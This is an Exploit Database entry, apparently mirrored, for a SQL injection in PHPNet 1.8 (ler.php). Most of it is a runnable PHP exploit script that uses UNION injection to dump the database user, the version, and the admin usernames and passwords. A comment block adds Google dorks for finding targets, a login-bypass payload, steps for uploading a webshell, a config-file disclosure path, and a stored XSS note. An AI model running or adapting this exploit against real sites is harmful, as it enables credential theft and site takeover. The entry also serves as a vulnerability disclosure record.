PHPNet 1.8 – ‘ler.php’ SQL Injection

• Exploit Database
• 77 阅读

• 作者： WhiteCollarGroup
  日期： 2012-06-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19007/

• <?php 
  # Exploit Title: PHPNet <= 1.8 (ler.php) SQL Injection
  # Exploit Author: WhiteCollarGroup
  # Date: 06th 06 2012
  # Vendor homepage: http://www.phpnet.com.br/
  # Software Link: http://phpbrasil.com/script/Wb03ErMczAho/phpnetartigos
  # Google Dork: intext:"Powerd by Nielson Rocha"
  # Google Dork: inurl:"ler.php?id=" intext:"Voltar - Imprimir"
  # Version: 1.8
  # Tested on: Debian GNU/Linux,Windows 7 Ultimate
  
  /*
  We discovered multiple vulnerabilities on the system.
  
  ~> SQL Injection
  This exploit is for a vulnerability in ler.php, but are the same vulnerability on imprimir.php and imagem.php.
  ler.php?id=[SQLi]
  imprimir.php?id=[SQLi]
  imagem.php?id=[SQLi]
  
  Usage:
  php file.php http://server/path/
  
  ~> Login bypass
  In login page, you can bypass the login using "SQLi strings".
  Go to http://server/path/admin/login.php
  
  Login: ' or 1=1-- wc
  Pass: wcgroup
  
  ~> Arbitraty File Upload
  After open administration panel, try to add a new article.
  Use the upload form to upload your webshell.
  After posting, access:
  http://server/path/tmp/your_shell_filename.php
  
  ~> Information disclosure
  Access:
  http://server/path/conf/config.ini
  
  ~> XSS Stored (persistent)
  When posting a new article, you can post (D)HTML/Javascript codes on the page.
  
  */
   
  function _printf($str) {
  echo $str."\n";
  }
  
  function hex($string){
  $hex=''; // PHP 'Dim' =]
  for ($i=0; $i < strlen($string); $i++){
  $hex .= dechex(ord($string[$i]));
  }
  return '0x'.$hex;
  }
  
  set_time_limit(0);
  error_reporting(E_ERROR & E_USER_WARNING);
  @ini_set('default_socket_timeout', 30);
  echo "\n";
   
  echo "PHPNet <= 1.8 SQLi Exploit\n";
  echo "Discovered by WhiteCollarGroup\n";
  echo "www.wcgroup.host56.com - whitecollar_group@hotmail.com";
  if($argc!=2) {
  _printf("Usage:");
  _printf("php $argv[0] <target>");
  _printf("Example:");
  _printf("php $argv[0] http://site.com/path/");
  exit;
  }
  
  $target = $argv[1];
  if(substr($target, (strlen($target)-1))!="/") { // se o ultimo caractere nao for uma barra
  $target .= "/"; 
  }
  
  $inject = $target . "ler.php?id=-0'%20"; 
  
  $token = uniqid();
  $token_hex = hex($token);
  
  // vamos agora obter os seguintes dados: user() version()
  echo "\n\n[*] Trying to get informations...\n";
  
  $infos = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",version(),".$token_hex.",user(),".$token_hex."),6,7,8-- "));
  $infos_r = array();
  preg_match_all("/$token(.*)$token(.*)$token/", $infos, $infos_r);
  $user = $infos_r[1][0];
  $version = $infos_r[2][0];
  if(($user) AND ($version)) 
  {
  echo "[!] MySQL user: $user\n";
  echo "[!] MySQL version: $version\n";
  } 
  else
  {
  echo "[-] Error while getting informations...\n";
  }
  
  $i = 0;
  while(1==1) {
  $dados_r = array();
  $dados = file_get_contents($inject.urlencode("union all select 1,2,3,4,concat(".$token_hex.",admin_user,".$token_hex.",admin_pass,".$token_hex."),6,7,8 from pna_admin limit $i,1-- "));
  preg_match_all("/$token(.*)$token(.*)$token/", $dados, $dados_r);
  $login = $dados_r[1][0];
  $senha = $dados_r[2][0];
  if(($login) AND ($senha)) {
  echo "-+-\n";
  echo "[!] User: $login\n";
  echo "[!] Pass: $senha\n";
  $i++;
  } else {
  break; // exitloop
  }
  
  if($i==0) {
  echo "[-] Exploit failed. Make sure that's server is using a valid version of PHPNet without mod_security. We're sorry.";
  } else {
  		echo "-+-\n[!] :D";
  	}
  	echo "\n";
  }
  
  ?>
  

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